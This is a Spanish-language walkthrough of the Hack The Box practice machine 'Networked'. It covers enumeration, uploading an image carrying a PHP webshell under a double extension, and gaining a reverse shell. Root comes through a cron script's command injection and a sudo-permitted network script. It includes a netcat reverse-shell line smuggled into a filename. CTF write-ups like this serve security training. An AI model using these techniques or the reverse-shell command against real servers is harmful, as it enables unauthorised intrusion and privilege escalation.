🟢Networked
Write-up de la máquina Networked de HackTheBox #writeup #walkthrough
Last updated
Write-up de la máquina Networked de HackTheBox #writeup #walkthrough
Last updated
Networked es un CTF de dificultad fácil que podemos encontrar en el sitio Web de Hack The Box. La resolución de esta máquina implicó abusar de una configuración incorrecta de Apache que me permitió cargar una imagen que contenía un webshell con una extensión doble. Con eso, obtuve un shell como usuario Apache sin privilegios y luego hice dos privescs. La primera inyección de comando abusada en un script que se estaba ejecutando para limpiar el directorio de cargas. Luego usé el acceso a un script bash para obtener la ejecución del comando como Root.
Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.
Están abiertos los puertos 22, 80 TCP en la máquina objetivo. Vamos con el escaneo profundo de los servicios abiertos.
Servicios abiertos:
Puerto 22 -> OpenSSH 7.4
Puerto 80 -> Apache 2.4.6 (CentOS)
Tenemos un puerto 80 en la máquina objetivo que corresponde con un servidor web. Vamos a ver su contenido.
Vamos a realizar un escaneo de los directorios disponibles en el servidor web. Para ello, vamos a utilizar la herramienta DirSearch.
Tenemos una serie de directorios y archivos que pueden ser interesantes. Vamos a comenzar abriendo el directorio /backup, a ver que contiene.
Tenemos un archivo backup.tar, vamos a descargarlo a ver si contiene algo interesante.
Tenemos una copia de seguridad del código fuente de la página web. Vamos a analizar el código contenido en cada archivo.
Vemos el archivo upload.php
Después de una revisión inicial, parece que cargamos un archivo, renombrándolo por la dirección IP del usuario y guardándolo en /var/www/html/uploads/. Ahora, hay dos formas en que podemos resolver esto, la primera es cargar un shell PHP común y configurar un archivo con extensión .php.gif o codificar un comentario con exiftool.
Descargamos una de las imagenes de CentOS que encontramos en el directorio /photos.php.
Ahora sobre la imagen descargada ejecutamos exiftool.
Con esto, una vez que volvamos a cargar la imagen editada, tendremos una shell integrada en la foto.
Vamos a probar.
Le pasamos los parametros ?cmd=whoami;pwd
a nuestra imagen y nos devuelve la ejecucion de comandos, un tanto desordenada con los datos de la imagen.
Entonces vamos a utilizar el siguiente comando para entablar una shell reversa con la máquina víctima. Al mismo tiempo ejecutamos nc con el puerto seleccionado en nuestra máquina de ataque.
Descargaremos esta reverse shell. Añadiremos nuestra IP y puerto de ataque, y además deberemos añadir el código GIF89A; para saltar los bloqueos.
Volvemos a lanzar el nc en nuestra máquina de ataque y vemos si conseguimos shell. Tras actualizar /photos.php, ya tendriamos la shell reversa.
Tras buscar la flag user.txt vemos que no tenemos privilegios suficientes para acceder a su contenido. Debemos seguir elevando privilegios hacia otros usuarios.
Primero creamos una terminal más atractiva de trabajar con el siguiente comando:
Un vistazo al directorio /home, nos devuelve el nombre de usuario "guly" y una serie de archivos que pueden ser interesantes.
A la flag no podemos acceder aún.
El crontab.guly se ejecuta cada 3 minutos, y el check_attack.php busca archivos que no se llamen como ip.extension. Vamos a intentar aprovechar esto.
Entonces, necesitamos generar una reverse shell. Nos dirigimos a /var/www/html/uploads/ y ejecutamos: touch "; nc 10.10.16.11 4444 -c bash" para abrir un shell en el tercer minuto, luego esperamos la conexión.
Ya estamos conectados como usuario "guly"
Vamos a buscar ahora la flag user.txt
Volvemos a ejecutar el siguiente comando para hacer la terminal más vistosa.
Vamos a comenzar verificar sudo -l.
Tenemos un ejecutable /usr/local/sbin/changename.sh. Este script simplemente crea un script de red para una interfaz llamada guly
y luego activa esa interfaz. Le pide al usuario estas opciones: NAME
, PROXY_METHOD
, BROWSER_ONLY
, BOOTPROTO
.
Ya seriamos usuario Root dentro de la máquina objetivo. Próximo paso, buscar la flag root.txt.
Y ya estaría acabado el CTF Networked de Hack The Box.